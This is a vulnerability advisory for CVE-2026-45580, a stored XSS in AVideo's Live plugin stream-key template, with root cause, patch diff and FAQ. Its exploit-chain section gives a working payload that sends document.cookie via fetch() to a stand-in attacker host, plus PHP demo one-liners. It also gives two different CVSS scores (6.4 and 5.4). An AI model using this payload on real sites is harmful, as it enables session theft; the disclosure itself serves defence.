CVE-2026-45580

Type: Stored cross-site scripting. The Live plugin's "YouTube-style" view renders the live transmission's stream key into an HTML class attribute by raw echo, without htmlspecialchars(). A canStream user can persist a key containing " plus an event handler via plugin/Live/saveLive.php, and any visitor (logged in or anonymous) opening the stream's live page executes attacker JavaScript in the platform origin.
File: plugin/Live/view/modeYoutubeLive.php, line 203.
Root cause: the template builds a live-status hook by concatenating the database key into a class name: class="title_liveKey_<?php echo $livet['key'] ?>". There is no escaping. The persistence path plugin/Live/saveLive.php:30 accepts $_REQUEST['key'] verbatim into live_transmitions.key (the auto-generation path uses uniqid(), but the manual save path lets the caller override it with anything). The on_publish.php:117 sanitiser strips only & and =, not ", <, or >, so the poisoned value also passes through every internal data flow. The admin-side rendering of the same field is similarly unescaped, so an admin opening the stream details page gets the same XSS in admin context.

Affected Code

File: plugin/Live/view/modeYoutubeLive.php, lines 195-209.

                            <i class="fas fa-lock"></i>
                        <?php
                        } else {
                        ?>
                            <i class="fas fa-video"></i>
                        <?php
                        }
                        ?>
                        <span class="title_liveKey_<?php echo $livet['key'] ?>"><?php echo getSEOTitle($liveTitle); ?></span>  <!-- BUG: $livet['key'] echoed raw into class attribute -->
                        <small class="text-muted">
                            <?php
                            echo $liveInfo['displayTime'];
                            ?>
                        </small>
                    </h1>

$livet['key'] is the raw stream key out of live_transmitions. The persistence path plugin/Live/saveLive.php:30 is $l->setKey($_REQUEST['key']) (no allowlist), and LiveTransmition::setKey() (Objects/LiveTransmition.php:110-112) is a plain assignment. The DB column has no character-class enforcement (it is a varchar). parent::save() uses prepared SQL, so embedded ", <, >, ' are stored verbatim and round-trip back to this template unchanged.

Why it's wrong: an HTML attribute value must be escaped with htmlspecialchars(..., ENT_QUOTES, 'UTF-8') (or routed through a templating engine that does). The current <?php echo $livet['key'] ?> between class="…" and " lets the attacker close the attribute with ", append arbitrary attributes (onclick, onmouseover, style, srcset, …), or close the tag with > and inject a <script> block. The class-name context is the most-common variant of HTML-attribute XSS and is what Mozilla's secure-coding guide explicitly calls out as the "raw echo into attribute" anti-pattern. Other Live templates (menuRight.php, socket.js) only use key inside JS contexts where they pre-strip [&=], but modeYoutubeLive.php uses it directly in HTML attribute context where that strip is insufficient.

Exploit Chain

1. Attacker registers (or already holds) an AVideo account with canStream=1. On installations with advancedCustomUser.newUsersCanStream=1 this is satisfied by self-registration; otherwise the attacker uses an existing streamer or any admin. State: HTTP session is authenticated.
2. Attacker POSTs to https://target/plugin/Live/saveLive.php:

   key=" onmouseover="fetch('//attacker/x?c='+document.cookie)" x="
   title=t&description=d&password=p
   

   saveLive.php:8 confirms User::canStream(), line 30 calls $l->setKey($_REQUEST['key']) and the row is persisted with the literal payload value. State: live_transmitions.key for this user contains the XSS payload.
3. Victim visits the attacker's live page, e.g. https://target/plugin/Live/?u=<attacker-username>. The page is rendered through index.php -> view/modeYoutubeLive.php. Line 203 executes:

   <span class="title_liveKey_" onmouseover="fetch('//attacker/x?c='+document.cookie)" x=""><span>STREAM TITLE</span></span>
   

   State: a class attribute closed early, an onmouseover event handler attached, a stray x="" consumed, and the final closing " consumed by the next attribute. The HTML parses cleanly.
4. Victim moves their mouse over the title (this is the headline area of the player; mouse-over is incidental during normal play). The handler fires. State: fetch('//attacker/x?c=' + document.cookie) runs in the AVideo origin with whatever cookies the victim browser holds (session cookie, CSRF cookie, remember-me cookie).
5. Final state: the attacker's collector receives the victim's session credentials. From there the attacker authenticates to AVideo as the victim, escalating to admin if any admin opened the page; reads private videos; uploads content as the victim; or chains into other admin-only endpoints. With variant payloads (onerror on injected <img>, onload on injected <svg>, or simply > to close the <span> and inject a <script> block) the trigger does not require mouse-over.

Security Impact

Severity: sec-moderate. Stored XSS on the platform's primary rendering surface, planted by the lowest streaming tier and triggered by unauthenticated viewers. CVSS 6.4 reflects scope-changed (the stolen session belongs to a different security principal than the attacker), low confidentiality and integrity (cookies and DOM read/write within the AVideo origin), no availability.
Attacker capability: with one canStream account and one HTTP request, the attacker plants persistent JavaScript that runs in any viewer's browser when they open the stream's live page. The script runs in the target origin, so it can: read non-HttpOnly cookies (session, CSRF), read DOM content, make CSRF-free authenticated XHRs against AVideo APIs, post-message into the AVideo player iframe, install a service-worker hijack, or pivot to admin actions if the viewer is an admin. The payload survives until the row is deleted from live_transmitions.
Preconditions: AVideo deployment using the default modeYoutubeLive.php template (the YouTube-style live view, used by all standard skins); attacker has canStream rights (default-on for many streamer-platform deployments and always for admins); victim opens the attacker-owned live page.
Differential: source-inspection-verified. The vulnerable template modeYoutubeLive.php:203 produces <span class="title_liveKey_<UNESCAPED_KEY>">…</span>. With the suggested patch (htmlspecialchars($livet['key'], ENT_QUOTES, 'UTF-8') applied), the same input renders as <span class="title_liveKey_&quot; onmouseover=&quot;…&quot; x=&quot;">…</span>, which is a single class attribute containing literal characters; no event handler attaches. The asymmetry can be observed offline by feeding a poisoned key value to the template snippet:

$ php -r '$livet=["key"=>"\" onmouseover=\"alert(1)\" x=\""]; echo "<span class=\"title_liveKey_".$livet["key"]."\">test</span>";'
<span class="title_liveKey_" onmouseover="alert(1)" x="">test</span>     # XSS attribute parses
$ php -r '$livet=["key"=>"\" onmouseover=\"alert(1)\" x=\""]; echo "<span class=\"title_liveKey_".htmlspecialchars($livet["key"],ENT_QUOTES,"UTF-8")."\">test</span>";'
<span class="title_liveKey_&quot; onmouseover=&quot;alert(1)&quot; x=&quot;">test</span>   # one attribute, no handler

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-45580 has a CVSS score of 5.4 (Medium). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

Escape the key when it is rendered into the HTML attribute. The same escape should be applied wherever the key reaches HTML context (other Live templates appear safe because they only use it in JS string contexts after replace(/[&=]/g, ''), but they should be reviewed in the same patch).

--- a/plugin/Live/view/modeYoutubeLive.php
+++ b/plugin/Live/view/modeYoutubeLive.php
@@ -200,7 +200,7 @@
                         }
                         ?>
-                        <span class="title_liveKey_<?php echo $livet['key'] ?>"><?php echo getSEOTitle($liveTitle); ?></span>
+                        <span class="title_liveKey_<?php echo htmlspecialchars($livet['key'], ENT_QUOTES, 'UTF-8') ?>"><?php echo getSEOTitle($liveTitle); ?></span>
                         <small class="text-muted">
                             <?php
                             echo $liveInfo['displayTime'];

Defence-in-depth: also enforce a character allowlist on live_transmitions.key at write time (the autogenerator emits uniqid() which is hex-only, so ^[A-Za-z0-9_-]{1,64}$ is the natural allowlist) so that the field can never carry HTML metacharacters in the first place. That hardens any other future render site against the same primitive without a second escape audit.

1. What is CVE-2026-45580? CVE-2026-45580 is a medium-severity cross-site scripting (XSS) vulnerability in WWBN/AVideo (composer), affecting versions <= 29.0. No fixed version is listed yet. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2026-45580? CVE-2026-45580 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of WWBN/AVideo are affected by CVE-2026-45580? WWBN/AVideo (composer) versions <= 29.0 is affected.
4. Is there a fix for CVE-2026-45580? No fixed version is listed for CVE-2026-45580 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-45580 exploitable, and should I be worried? Whether CVE-2026-45580 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45580 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45580? No fixed version is listed yet. In the interim: Validate and encode untrusted input before rendering it as HTML. Applying a Content Security Policy reduces the impact if encoding is bypassed.